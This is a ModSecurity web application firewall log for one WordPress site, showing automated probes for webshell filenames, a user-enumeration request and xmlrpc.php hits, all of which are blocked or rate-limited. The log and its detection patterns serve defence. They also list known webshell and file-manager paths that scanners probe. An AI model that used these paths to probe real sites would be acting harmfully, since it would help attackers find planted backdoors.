[Sun Dec 14 18:54:46.927943 2025] [:error] [pid 40596:tid 40630] [client 4.194.46.139:10205] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aT6XdmvZZo4N2X7WoLxxrAAAAcQ"]
[Sun Dec 14 18:54:47.573622 2025] [:error] [pid 39525:tid 39583] [client 4.194.46.139:10199] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aT6Xd01fX_pB_BrvE_4vKAAAAIA"]
[Sun Dec 14 18:54:48.356378 2025] [:error] [pid 13799:tid 13826] [client 4.194.46.139:17464] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aT6XeHjPEin01ElFTNYdGwAAAhg"]
[Sun Dec 14 18:54:49.049314 2025] [:error] [pid 41600:tid 41612] [client 4.194.46.139:10219] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aT6XedFLTBZjcwNd_VvdwAAAAQk"]
[Sun Dec 14 18:54:49.578030 2025] [:error] [pid 39614:tid 39634] [client 4.194.46.139:17431] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aT6XefxybG8-9MflbDdLJQAAANI"]
[Sun Dec 14 18:54:50.111413 2025] [:error] [pid 40561:tid 40565] [client 4.194.46.139:10151] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aT6XeoY6r869zoqRQkSy3gAAAUA"]
[Sun Dec 14 18:54:50.616609 2025] [:error] [pid 13799:tid 13811] [client 4.194.46.139:10038] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aT6XenjPEin01ElFTNYdIwAAAgk"]
[Sun Dec 14 18:54:51.154013 2025] [:error] [pid 40596:tid 40638] [client 4.194.46.139:17514] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/406.php"] [unique_id "aT6Xe2vZZo4N2X7WoLxxvgAAAcw"]
[Sun Dec 14 18:54:51.564820 2025] [:error] [pid 39523:tid 39535] [client 4.194.46.139:10098] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/406.php"] [unique_id "aT6XezQTQH1raAj2lkjIpwAAAAc"]
[Sun Dec 14 18:54:51.866797 2025] [:error] [pid 13799:tid 13812] [client 4.194.46.139:17500] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/406.php"] [unique_id "aT6Xe3jPEin01ElFTNYdJwAAAgo"]
[Sun Dec 14 18:54:52.340697 2025] [:error] [pid 39525:tid 39588] [client 4.194.46.139:10204] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/406.php"] [unique_id "aT6XfE1fX_pB_BrvE_4vKgAAAIU"]
[Sun Dec 14 18:54:53.447840 2025] [:error] [pid 41600:tid 41604] [client 4.194.46.139:10122] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mariju.php"] [unique_id "aT6XfdFLTBZjcwNd_VvdxAAAAQE"]
[Sun Dec 14 18:54:54.139559 2025] [:error] [pid 41600:tid 41605] [client 4.194.46.139:17533] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mariju.php"] [unique_id "aT6XftFLTBZjcwNd_VvdxgAAAQI"]
[Sun Dec 14 18:54:55.137134 2025] [:error] [pid 39614:tid 39630] [client 4.194.46.139:10054] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mariju.php"] [unique_id "aT6Xf_xybG8-9MflbDdLLgAAAM4"]
[Sun Dec 14 18:54:55.969590 2025] [:error] [pid 39524:tid 39562] [client 4.194.46.139:10131] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mariju.php"] [unique_id "aT6Xf2rVGpbDzFtDE9PCpQAAAEY"]
[Sun Dec 14 18:54:56.782514 2025] [:error] [pid 39525:tid 39586] [client 4.194.46.139:17436] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aT6XgE1fX_pB_BrvE_4vLAAAAIM"]
[Sun Dec 14 18:54:57.882879 2025] [:error] [pid 40596:tid 40633] [client 4.194.46.139:10068] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aT6XgWvZZo4N2X7WoLxx4QAAAcc"]
[Sun Dec 14 18:54:58.906392 2025] [:error] [pid 41600:tid 41624] [client 4.194.46.139:10228] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aT6XgtFLTBZjcwNd_Vvd6wAAARU"]
[Sun Dec 14 18:54:59.452973 2025] [:error] [pid 39524:tid 39556] [client 4.194.46.139:17481] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aT6Xg2rVGpbDzFtDE9PCtgAAAEA"]
[Sun Dec 14 18:55:12.214311 2025] [:error] [pid 40596:tid 40635] [client 4.194.46.139:10076] [client 4.194.46.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aT6XkGvZZo4N2X7WoLxyBQAAAck"]
[Sun Dec 14 18:55:20.689196 2025] [:error] [pid 39614:tid 39622] [client 4.194.46.139:17421] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aT6XmPxybG8-9MflbDdLrwAAAMY"]
[Sun Dec 14 18:55:21.730583 2025] [:error] [pid 39524:tid 39577] [client 4.194.46.139:17418] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aT6XmWrVGpbDzFtDE9PC5QAAAFU"]
[Sun Dec 14 18:55:22.262776 2025] [:error] [pid 39524:tid 39576] [client 4.194.46.139:17513] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aT6XmmrVGpbDzFtDE9PC6AAAAFQ"]
[Sun Dec 14 18:55:23.060764 2025] [:error] [pid 40561:tid 40568] [client 4.194.46.139:17507] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aT6Xm4Y6r869zoqRQkSzUAAAAUM"]
[Sun Dec 14 18:55:24.270496 2025] [:error] [pid 41600:tid 41612] [client 4.194.46.139:17442] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aT6XnNFLTBZjcwNd_VvebwAAAQk"]
[Sun Dec 14 18:55:26.547261 2025] [:error] [pid 39524:tid 39573] [client 4.194.46.139:17527] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aT6XnmrVGpbDzFtDE9PDCAAAAFE"]
[Sun Dec 14 18:55:27.923034 2025] [:error] [pid 39614:tid 39625] [client 4.194.46.139:17477] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aT6Xn_xybG8-9MflbDdL2wAAAMk"]
[Sun Dec 14 18:55:29.711286 2025] [:error] [pid 41600:tid 41619] [client 4.194.46.139:10086] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aT6XodFLTBZjcwNd_VvenAAAARA"]
[Sun Dec 14 18:55:33.325915 2025] [:error] [pid 40595:tid 40603] [client 4.194.46.139:10097] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mpvloi.php"] [unique_id "aT6Xpfjrht6y4RN-xKT_hwAAAYQ"]
[Sun Dec 14 18:55:34.049952 2025] [:error] [pid 39523:tid 39549] [client 4.194.46.139:10196] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mpvloi.php"] [unique_id "aT6XpjQTQH1raAj2lkjI5AAAABU"]
[Sun Dec 14 18:55:36.091117 2025] [:error] [pid 39614:tid 39638] [client 4.194.46.139:17518] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mpvloi.php"] [unique_id "aT6XqPxybG8-9MflbDdMSgAAANY"]
[Sun Dec 14 18:55:37.575472 2025] [:error] [pid 40561:tid 40582] [client 4.194.46.139:17412] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mpvloi.php"] [unique_id "aT6XqYY6r869zoqRQkSzgQAAAVE"]
[Sun Dec 14 18:55:39.000829 2025] [:error] [pid 39523:tid 39543] [client 4.194.46.139:10007] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v1.php"] [unique_id "aT6XqjQTQH1raAj2lkjI5gAAAA8"]
[Sun Dec 14 18:55:40.544492 2025] [:error] [pid 39525:tid 39592] [client 4.194.46.139:9962] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v1.php"] [unique_id "aT6XrE1fX_pB_BrvE_4vZwAAAIk"]
[Sun Dec 14 18:55:41.450564 2025] [:error] [pid 41600:tid 41626] [client 4.194.46.139:17483] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v1.php"] [unique_id "aT6XrdFLTBZjcwNd_Vve8wAAARc"]
[Sun Dec 14 18:55:42.303243 2025] [:error] [pid 41600:tid 41625] [client 4.194.46.139:17448] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v1.php"] [unique_id "aT6XrtFLTBZjcwNd_Vve9AAAARY"]
[Sun Dec 14 18:55:43.027467 2025] [:error] [pid 13799:tid 13817] [client 4.194.46.139:10214] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aT6Xr3jPEin01ElFTNYeHwAAAg8"]
[Sun Dec 14 18:55:44.214421 2025] [:error] [pid 41600:tid 41612] [client 4.194.46.139:17411] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aT6XsNFLTBZjcwNd_Vve9gAAAQk"]
[Sun Dec 14 18:55:46.124346 2025] [:error] [pid 40561:tid 40574] [client 4.194.46.139:17493] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aT6XsoY6r869zoqRQkSzhAAAAUk"]
[Sun Dec 14 18:55:47.316986 2025] [:error] [pid 13799:tid 13823] [client 4.194.46.139:10078] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aT6Xs3jPEin01ElFTNYeJQAAAhU"]
[Sun Dec 14 18:55:50.732673 2025] [:error] [pid 41600:tid 41607] [client 4.194.46.139:17427] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aT6XttFLTBZjcwNd_Vve9wAAAQQ"]
[Sun Dec 14 18:55:52.346429 2025] [:error] [pid 39525:tid 39598] [client 4.194.46.139:17414] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aT6XuE1fX_pB_BrvE_4vbQAAAI8"]
[Sun Dec 14 18:55:55.107945 2025] [:error] [pid 39524:tid 39567] [client 4.194.46.139:17524] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aT6Xu2rVGpbDzFtDE9PDYwAAAEs"]
[Sun Dec 14 18:55:56.927116 2025] [:error] [pid 40561:tid 40571] [client 4.194.46.139:10147] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aT6XvIY6r869zoqRQkSzhgAAAUY"]
[Sun Dec 14 18:55:58.026937 2025] [:error] [pid 40596:tid 40631] [client 4.194.46.139:17434] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/angelV2.php"] [unique_id "aT6XvmvZZo4N2X7WoLxydwAAAcU"]
[Sun Dec 14 18:56:00.050212 2025] [:error] [pid 39614:tid 39637] [client 4.194.46.139:17445] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/angelV2.php"] [unique_id "aT6XwPxybG8-9MflbDdMkAAAANU"]
[Sun Dec 14 18:56:03.489856 2025] [:error] [pid 40561:tid 40573] [client 4.194.46.139:10201] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/angelV2.php"] [unique_id "aT6Xw4Y6r869zoqRQkSzhwAAAUg"]
[Sun Dec 14 18:56:05.740725 2025] [:error] [pid 41600:tid 41618] [client 4.194.46.139:17520] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/angelV2.php"] [unique_id "aT6XxdFLTBZjcwNd_VvfDgAAAQ8"]
[Sun Dec 14 19:08:44.535127 2025] [:error] [pid 41600:tid 41604] [client 34.127.56.98:61347] [client 34.127.56.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.127.56.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT6avNFLTBZjcwNd_VvmVgAAAQE"]
[Sun Dec 14 19:08:49.783640 2025] [:error] [pid 41600:tid 41606] [client 34.127.56.98:61347] [client 34.127.56.98] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aT6awdFLTBZjcwNd_VvmXwAAAQM"]
[Sun Dec 14 19:08:51.380703 2025] [:error] [pid 41600:tid 41613] [client 34.127.56.98:61347] [client 34.127.56.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.127.56.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT6aw9FLTBZjcwNd_VvmYwAAAQo"]
[Sun Dec 14 19:08:53.490715 2025] [:error] [pid 40561:tid 40572] [client 34.127.56.98:65219] [client 34.127.56.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.127.56.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT6axYY6r869zoqRQkS5lgAAAUc"]
[Sun Dec 14 19:08:55.596227 2025] [:error] [pid 39614:tid 39633] [client 34.127.56.98:61585] [client 34.127.56.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.127.56.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT6ax_xybG8-9MflbDdTIQAAANE"]
[Sun Dec 14 19:08:57.545277 2025] [:error] [pid 13799:tid 13802] [client 34.127.56.98:53524] [client 34.127.56.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.127.56.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT6ayXjPEin01ElFTNYjMgAAAgA"]
[Sun Dec 14 19:08:59.597073 2025] [:error] [pid 39524:tid 39573] [client 34.127.56.98:61455] [client 34.127.56.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.127.56.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT6ay2rVGpbDzFtDE9PJWQAAAFE"]
[Sun Dec 14 19:08:59.597244 2025] [:error] [pid 39524:tid 39573] [client 34.127.56.98:61455] [client 34.127.56.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.127.56.98, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT6ay2rVGpbDzFtDE9PJWQAAAFE"]
